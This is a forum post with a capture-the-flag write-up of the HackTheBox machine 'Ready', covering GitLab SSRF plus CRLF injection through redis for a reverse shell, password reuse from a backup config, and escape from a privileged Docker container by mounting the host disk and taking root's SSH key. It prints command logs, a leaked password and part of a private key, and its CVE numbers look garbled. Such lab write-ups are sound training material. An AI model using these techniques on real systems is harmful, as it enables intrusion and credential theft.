Discussione HackTheBox Writeup - Ready [Medium]

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,765
1,825
Ultima modifica:
Writeup for the HackTheBox machine "Ready", a Medium difficuty Linux box based on a vulnerable version of GitLab suffering SSRF (CVE-2018-1957) and CRLF Injection (CVE-2018-195)​

8dlfsEw.jpg


HackTheBox Writeup - Ready [Medium]​

Estimated reading time: 5 minutes​






1    Introduction

Ready is a medium difficulty Linux box based on a vulnerable version of GitLab Community Edition, which suffers both a Server Side Request Forgery (CVE-2018-1957) and a CRLF injection (CVE-2018-195), allowing to obtain a reverse shell as git user. After obtained a foothold, internal enumeration allowed to find hardcoded-credentials which lead to root access inside the docker container. Docker's root user was allowed to run fdisk and mount the external system, making possible to stole root ssh key and obtain a high privileged shell on the original target.​

1.1    Improved skills:

  • SSRF Attacks
  • CRLF Attacks
  • Docker Escape

1.2    Used tools:

  • nmap
  • burpsuite
  • hackvector
  • netcat


2    Enumeration

​Enumerated all TCP ports:
Bash:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nmap -p- -sS 10.10.10.220 -oN scans/all-tcp-ports.txt -v
...
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 40.94 seconds
           Raw packets sent: 65582 (2.886MB) | Rcvd: 65536 (2.621MB)

Enumerated open TCP ports:
Bash:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nmap -p22,5080 -sV -sT -sC -A 10.10.10.220 -oN scans/open-tcp-ports.txt
...
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

Nmap revealed a GitLab installation on port 5080 and a OpenSSH service on port 22.

4JwX0C2.png


A custom account was registered in order to access the GitLab instance:
hdebZKk.png


After get logged in, GitLab Version was enumerated from the "help" page:

vjiRLDt.png


3    Foothold

Googling around was found that GitLab Community Edition 11.4.7 suffered a Remote Code Execution vulnerability caused by a Server Side Request Forgery (CVE-2018-1957) and a CRFL Injection (CVE-2018-195).

Among the various PoCs, the analysis conducted by liveoverflow was definitely one of the best choice to follow to be able to penetrate this machine.
To summarize the vulnerability, arbitrary code execution can be achieved importing a new git project from the redis localhost port abusing a SSRF vulnerability in conjunction with the CRLF injection. This combination of vulnerabilities allowed to execute arbitrary code inside redis and so obtain a reverse shell.

First, a test project was created and the corresponding import request was intercepted using burpsuite:

35sTm4b.png

HTTP:
POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 317
Origin: http://10.10.10.220:5080
Connection: close
Cookie: _gitlab_session=09091cb83a47305f01ddec7c77a45d15; sidebar_collapsed=true; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=aftxcmnuS8Omyy8hNlcAIh1FS4bve7Ynayo4MGngN2PDRqLqEX40n3qKOSG9ZTLRNR9rxOakhyzSTKGlyqrl6Q%3D%3D&project%5Bimport_url%5D=test&project%5Bci_cd_only%5D=false&project%5Bname%5D=test&project%5Bnamespace_id%5D=3&project%5Bpath%5D=test&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

After that, the request was modified to contain the malicious payload, which in this case send to the attacker machine the string "pippo". To avoid problems with special characters the url-encode of the whole payload was executed using the burpsuite plugin hackvector.

imY8dyu.png


The resulting request was the following one:
Iz2Unfu.png


Listening on port 1234 we get a response back from the server with the message contained within the payload, meaning that the exploit was successfully executed.​
Bash:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.220] 39212
pippo

A reverse connection can be obtained in the same way upgrading the previous PoC to contain a netcat reverse shell (payload was url-encoded):
300Rc56.png


Using the above payload, a reverse shell was obtained successfully:
Bash:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nc -nlvp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.220] 39772

id
uid=998(git) gid=998(git) groups=998(git)
which python
which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ cd /home
cd /home
git@gitlab:/home$ ls
ls
dude
git@gitlab:/home$ cd dude
cd dude
git@gitlab:/home/dude$ ls
ls
user.txt
git@gitlab:/home/dude$ cat user.txt
cat user.txt
e1e30b052b6ec0670698805d745e7682

4    Lateral Movement

​Local enumeration revealed a readable backup file containing credentials and a docker-compose suggesting we were inside docker:
Bash:
git@gitlab:/opt/backup$ cat gitlab.rb | grep password
...
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
...

git@gitlab:/opt/backup$ cat docker-compose.yml
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
        ...
        privileged: true
        ...

Because root used the same password, it was possible to escalate to root reusing it:
Bash:
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup# id                           
uid=0(root) gid=0(root) groups=0(root)


5    Privilege Escalation

Because the container had the privileged flag set to true and root access was gained, it was possible to escape from it and get access on the original target mounting the corresponding partition.​

A PoC of the method can be read on the HackTricks blog

Enumerated all the partition using fdisk and mounted the target filesystem inside the container:
Bash:
root@gitlab:/mnt# fdisk -l
...
Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem
/dev/sda3  37746688 41940991  4194304   2G Linux swap
root@gitlab:/mnt# mount /dev/sda2 /mnt/tmp/

root@gitlab:/mnt# mkdir tmp
root@gitlab:/mnt# mount /dev/sda2 /mnt/tmp/

Leaked the root private key:
Bash:
root@gitlab:/mnt/tmp/root# ls
docker-gitlab  ready-channel  root.txt  snap
root@gitlab:/mnt/tmp/root# cd .ssh
root@gitlab:/mnt/tmp/root/.ssh# ls
authorized_keys  id_rsa  id_rsa.pub
root@gitlab:/mnt/tmp/root/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
...
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----

Obtained a high privileged shell using the stolen key:
Bash:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ nano loot/root.rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
...

┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ ssh [email protected] -i loot/root.rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
...
Last login: Thu Feb 11 14:28:18 2021
root@ready:~# whoami && hostname && cat /root/root.txt && ifconfig -a
root
ready
b7f98681505cd39066f67147b103c2b3
br-bcb73b090b3f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.1  netmask 255.255.0.0  broadcast 172.19.255.255
        inet6 fe80::42:28ff:fe4d:2cbf  prefixlen 64  scopeid 0x20<link>
        ether 02:42:28:4d:2c:bf  txqueuelen 0  (Ethernet)
        ...

OyUsk5W.png


6    Trophy

The good thing about science is that it's true whether or not you believe in it.
- Neil deGrasse Tyson


Made with ❤ for Inforge